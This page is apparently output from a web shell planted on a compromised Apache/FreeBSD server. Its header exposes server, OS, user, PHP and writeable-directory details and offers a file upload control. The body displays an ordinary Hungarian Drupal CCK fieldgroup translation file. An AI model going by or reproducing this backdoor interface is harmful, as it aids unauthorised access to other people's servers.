KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/afglcweb/ny/sites/all/modules/cck/modules/fieldgroup/translations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/afglcweb/ny/sites/all/modules/cck/modules/fieldgroup/translations/modules-fieldgroup.hu.po
# Hungarian translation of cck (6.x-2.0-rc10)
# Copyright (c) 2008 by the Hungarian translation team
# Generated from files:
#  fieldgroup.module,v 1.79.2.34 2008/10/06 15:11:39 karens
#  fieldgroup.panels.inc,v 1.1.2.4 2008/10/06 17:21:51 karens
#  fieldgroup.info,v 1.6.2.1 2008/09/22 18:25:21 karens
#
msgid ""
msgstr ""
"Project-Id-Version: cck (6.x-2.0-rc10)\n"
"POT-Creation-Date: 2008-10-31 12:16-0500\n"
"PO-Revision-Date: 2008-10-26 16:40-0500\n"
"Last-Translator: Balogh Zoltán\n"
"Language-Team: Drupal.hu Fordítói Csapat <forditas [at] drupal.hu>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n!=1);\n"

#: modules/fieldgroup/fieldgroup.module:196
msgid "This action cannot be undone."
msgstr "Ez a művelet nem visszavonható."

#: modules/fieldgroup/fieldgroup.module:254
msgid "none"
msgstr "nincs"

#: modules/fieldgroup/fieldgroup.module:126
msgid "Style"
msgstr "Stílus"

#: modules/fieldgroup/fieldgroup.panels.inc:10,66
msgid "Content fieldgroup"
msgstr "Tartalom mezőcsoport"

#: modules/fieldgroup/fieldgroup.panels.inc:47
msgid "Content fieldgroup content goes here."
msgstr "Tartalom mezőcsoport tartalma jön ide."

#: modules/fieldgroup/fieldgroup.panels.inc:69
msgid "All fields from a fieldgroup on the referenced node."
msgstr "Minden mező a mezőcsoportból a hivatkozott tartalmon."

#: modules/fieldgroup/fieldgroup.panels.inc:90
msgid "@group_label (@group_type_name)"
msgstr "@group_label (@group_type_name)"

#: modules/fieldgroup/fieldgroup.panels.inc:108
msgid ""
"Text to display if group has no data. Note that title will not display "
"unless overridden."
msgstr ""
"Megjelenítendő szöveg, ha a csoportnak nincs adata. A cím nem "
"jelenik meg, ha nincs felülírva."

#: modules/fieldgroup/fieldgroup.panels.inc:123
msgid "\"@s\" fieldgroup @name"
msgstr "„@s” mezőcsoport @name"

#: modules/fieldgroup/fieldgroup.module:121
msgid "Form settings"
msgstr "Űrlap beállításai"

#: modules/fieldgroup/fieldgroup.module:122
msgid "These settings apply to the group in the node editing form."
msgstr ""
"Ezek a beállítások lesznek értelmezve a csoportra a "
"tartalomszerkesztő űrlapon."

#: modules/fieldgroup/fieldgroup.module:129
msgid "always open"
msgstr "mindig nyitott"

#: modules/fieldgroup/fieldgroup.module:130
msgid "collapsible"
msgstr "összecsukható"

#: modules/fieldgroup/fieldgroup.module:131
msgid "collapsed"
msgstr "összecsukott"

#: modules/fieldgroup/fieldgroup.module:139
msgid "Instructions to present to the user on the editing form."
msgstr "Az űrlap szerkesztésekor megjelenő útmutató."

#: modules/fieldgroup/fieldgroup.module:144
msgid "Display settings"
msgstr "Megjelenítési beállítások"

#: modules/fieldgroup/fieldgroup.module:145
msgid "These settings apply to the group on node display."
msgstr ""
"Ezek a beállítások lesznek értelmezve a csoportra a tartalom "
"megjelenítésekor."

#: modules/fieldgroup/fieldgroup.module:152
msgid "A description of the group."
msgstr "A csoport leírása."

#: modules/fieldgroup/fieldgroup.module:194
msgid "Are you sure you want to remove the group %label?"
msgstr "%label csoport biztosan törölhető?"

#: modules/fieldgroup/fieldgroup.module:205
msgid "The group %group_name has been removed."
msgstr "%group_name csoport törölve lett."

#: modules/fieldgroup/fieldgroup.module:347
msgid "You need to provide a label."
msgstr "Meg kell adni egy címkét."

#: modules/fieldgroup/fieldgroup.module:352
msgid "You need to provide a group name."
msgstr "Meg kell adni a csoport nevét."

#: modules/fieldgroup/fieldgroup.module:366
msgid ""
"The group name %group_name is invalid. The name must include only "
"lowercase unaccentuated letters, numbers, and underscores."
msgstr ""
"%group_name csoportnév érvénytelen. A név csak ékezet nélküli "
"kisbetűket, számokat és aláhúzásjeleket tartalmazhat."

#: modules/fieldgroup/fieldgroup.module:369
msgid ""
"The group name %group_name is too long. The name is limited to 32 "
"characters, including the 'group_' prefix."
msgstr ""
"%group_name csoportnév túl hosszú. A név csak 32 karakter hosszú "
"lehet, beleértve a „group_” előtagot is."

#: modules/fieldgroup/fieldgroup.module:381
msgid "The group name %group_name already exists."
msgstr "%group_name nevű csoport már létezik."

#: modules/fieldgroup/fieldgroup.module:400,403
msgid "Add new group:"
msgstr "Új csoport hozzáadása:"

#: modules/fieldgroup/fieldgroup.module:418
msgid "Add new group: you need to provide a label."
msgstr "Új csoport hozzáadása: meg kell adni egy címkét."

#: modules/fieldgroup/fieldgroup.module:419
msgid "Add new group: you need to provide a group name."
msgstr "Új csoport hozzáadása: meg kell adni a csoport nevét."

#: modules/fieldgroup/fieldgroup.module:622
msgid "Standard group"
msgstr "Alapvető csoport"

#: modules/fieldgroup/fieldgroup.module:39,46
msgid "Edit group"
msgstr "Csoport szerkesztése"

#: modules/fieldgroup/fieldgroup.module:0
msgid "fieldgroup"
msgstr "mezőcsoport"

#: modules/fieldgroup/fieldgroup.info:0
msgid "Create display groups for CCK fields."
msgstr "Csoportokat hoz létre a CCK mezők számára."


Anon7 - 2021